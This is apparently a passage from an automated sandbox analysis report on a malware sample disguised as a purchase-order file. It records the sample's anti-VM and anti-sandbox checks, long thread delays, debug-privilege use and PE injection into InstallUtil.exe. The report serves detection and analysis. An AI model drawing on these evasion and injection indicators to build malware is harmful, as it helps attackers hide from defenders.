Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: PO-12202432_ACD_Group.pif.exe PID: 3668, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: IsNestedFamANDAssem.exe PID: 2300, type: MEMORYSTR

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2148862105.0000000002C3C000.00000004.00000800.00020000.00000000.sdmp, IsNestedFamANDAssem.exe, 00000005.00000002.2368359291.000000000311C000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Memory allocated: 1060000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Memory allocated: 2BF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Memory allocated: 2950000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: E30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 26F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Memory allocated: 1620000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Memory allocated: 30D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Memory allocated: 50D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2B70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2D70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 4D70000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Window / User API: threadDelayed 1531	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Window / User API: threadDelayed 3822	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 2848	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 6896	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Window / User API: threadDelayed 1209	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Window / User API: threadDelayed 3107	Jump to behavior

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 7164	Thread sleep count: 1531 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 7164	Thread sleep count: 3822 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -99891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -99778s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -99672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -99563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -99438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -99313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -99203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -99094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -98969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -98860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -98695s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -98594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -98481s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -98371s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -98264s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -98156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -98038s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -97922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -97810s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -97704s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -97579s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -97454s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe TID: 1492	Thread sleep time: -97329s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4084	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4084	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2888	Thread sleep count: 2848 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2888	Thread sleep count: 6896 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 6444	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 6444	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 3228	Thread sleep count: 1209 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 3228	Thread sleep count: 3107 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 6444	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 6444	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 6444	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 6444	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 6444	Thread sleep time: -99438s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 6444	Thread sleep time: -99328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 6444	Thread sleep time: -99219s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 6444	Thread sleep time: -99107s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 6444	Thread sleep time: -98992s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 6444	Thread sleep time: -98890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 6444	Thread sleep time: -98776s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 6444	Thread sleep time: -98647s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 6444	Thread sleep time: -98519s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 6444	Thread sleep time: -98391s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 6444	Thread sleep time: -98281s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 6444	Thread sleep time: -98172s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 6444	Thread sleep time: -98063s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 6444	Thread sleep time: -97938s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe TID: 6444	Thread sleep time: -97828s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3872	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 99891	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 99778	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 99672	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 99563	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 99438	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 99313	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 99203	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 99094	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 98969	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 98860	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 98695	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 98594	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 98481	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 98371	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 98264	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 98156	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 98038	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 97922	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 97810	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 97704	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 97579	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 97454	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Thread delayed: delay time: 97329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Thread delayed: delay time: 99438	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Thread delayed: delay time: 99328	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Thread delayed: delay time: 99219	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Thread delayed: delay time: 99107	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Thread delayed: delay time: 98992	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Thread delayed: delay time: 98890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Thread delayed: delay time: 98776	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Thread delayed: delay time: 98647	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Thread delayed: delay time: 98519	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Thread delayed: delay time: 98391	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Thread delayed: delay time: 98281	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Thread delayed: delay time: 98172	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Thread delayed: delay time: 98063	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Thread delayed: delay time: 97938	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Thread delayed: delay time: 97828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: InstallUtil.exe, 00000002.00000002.4475159585.0000000005381000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_PhysicalMemoryPhysical Memory 0Win32_PhysicalMemoryPhysical MemoryPhysical MemoryPhysical MemoryRAM slot #0RAM slot #0VMware Virtual RAM00000001VMW-4096MBLMEM
Source: IsNestedFamANDAssem.exe, 00000005.00000002.2368359291.000000000311C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: IsNestedFamANDAssem.exe, 00000005.00000002.2368359291.000000000311C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2163407938.0000000006430000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: HgfS5paYPq
Source: InstallUtil.exe, 00000002.00000002.4475159585.0000000005381000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual RAM
Source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2147980607.0000000000E5D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll=
Source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2163407938.0000000006430000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: GD7YGf2sqemUAekHdy6
Source: InstallUtil.exe, 00000002.00000002.4465370067.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp, IsNestedFamANDAssem.exe, 00000005.00000002.2367145318.000000000141E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A			Jump to behavior

Writes to foreign memory regions

